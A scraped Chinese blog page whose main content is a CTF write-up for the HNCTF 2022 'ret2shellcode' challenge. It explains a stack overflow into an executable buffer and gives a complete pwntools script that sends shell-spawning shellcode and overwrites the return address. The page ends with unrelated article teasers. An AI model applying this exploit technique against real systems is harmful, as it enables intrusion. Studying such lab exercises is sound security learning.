news 2026/5/5 4:37:49

[HNCTF 2022 Week1]ret2shellcode

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[HNCTF 2022 Week1]ret2shellcode

第一次打CTF——PWN篇学习笔记17

int __fastcall main(int argc, const char **argv, const char **envp) { char s[256]; // [rsp+0h] [rbp-100h] BYREF ​ setbuf(stdin, 0); setbuf(stderr, 0); setbuf(stdout, 0); mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000u, 7); memset(s, 0, sizeof(s)); read(0, s, 0x110u); strcpy(buff, s); return 0; }

checksec一下没有特殊的保护机制,程序先把stdout所在的内存页变成可读可写可执行,然后read一下发生栈溢出再将s的内容拷贝到buff中,因此我们可以构造payload使其前部分为没有'\0'的shellcode,接着覆盖返回地址到buff来执行shellcode从而获得flag

from pwn import * import struct ​ context.arch = 'amd64' context.os = 'linux' ​ #io = process('./shellcode') io = remote("node5.anna.nssctf.cn",23229) ​ buff = 0x4040A0 ​ shellcode = asm(shellcraft.sh()) ​ payload = shellcode.ljust(0x100 + 8,b'A') + p64(buff) ​ io.sendline(payload) ​ io.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/2 7:13:27

JetBrains Fleet倒了,Cursor还能撑多久?

2025年12月8日,JetBrains官宣Fleet停止维护。 是的,就是那个曾宣称要"干掉VSCode"的编辑器。 2021年11月,JetBrains宣布Fleet时,十万开发者抢着报名测试。更魔幻的是:Fleet的内存占用超过2GB,比…

作者头像 李华
网站建设 2026/4/29 2:12:49

高精度时钟测试仪覆盖多行业的时间同步测试利器 gps时钟测试仪

在数字化转型纵深推进的今天,时间同步已成为保障关键基础设施稳定运行、支撑高端科研探索、维护行业秩序公平的核心要素。从5G基站的纳秒级同步需求,到电力系统的故障精准溯源,再到金融交易的公平计时保障,每一个场景都对时间精度…

作者头像 李华
网站建设 2026/5/2 18:13:14

飞腾D3000:工业物联网边缘计算的破局者

工业物联网与边缘计算网关简介 在当今数字化浪潮席卷全球的时代,工业物联网(Industrial Internet of Things, IIoT)作为制造业与信息技术深度融合的产物,正以前所未有的速度改变着传统工业的生产模式和运营方式。随着《中国制造 2025》和 “互联网 +” 国家战略的深入推进,…

作者头像 李华
网站建设 2026/5/1 16:54:10

飞腾D3000服务器级平台Cache一致性优化:从原理到实战

引言 在信创产业蓬勃发展的当下,飞腾 D3000 服务器级平台凭借其卓越的性能、超高的安全性以及广泛的生态适应性,已然成为信创领域的中流砥柱。飞腾 D3000 采用先进的指令集架构,集成自主研发的内核,主频高达 2.5GHz,在 GeekBench 6 测试中,多核得分强势达到 5850 分,相较…

作者头像 李华
网站建设 2026/5/1 16:43:23

基于单片机的智能电子秤设计

一、设计背景与核心需求 传统电子秤功能单一,多仅能实现重量测量,难以满足现代生活中对食材营养分析、物品分类统计、数据追溯等多样化需求。基于单片机的智能电子秤,融合高精度称重、数据处理与智能交互功能,可广泛应用于家庭厨房…

作者头像 李华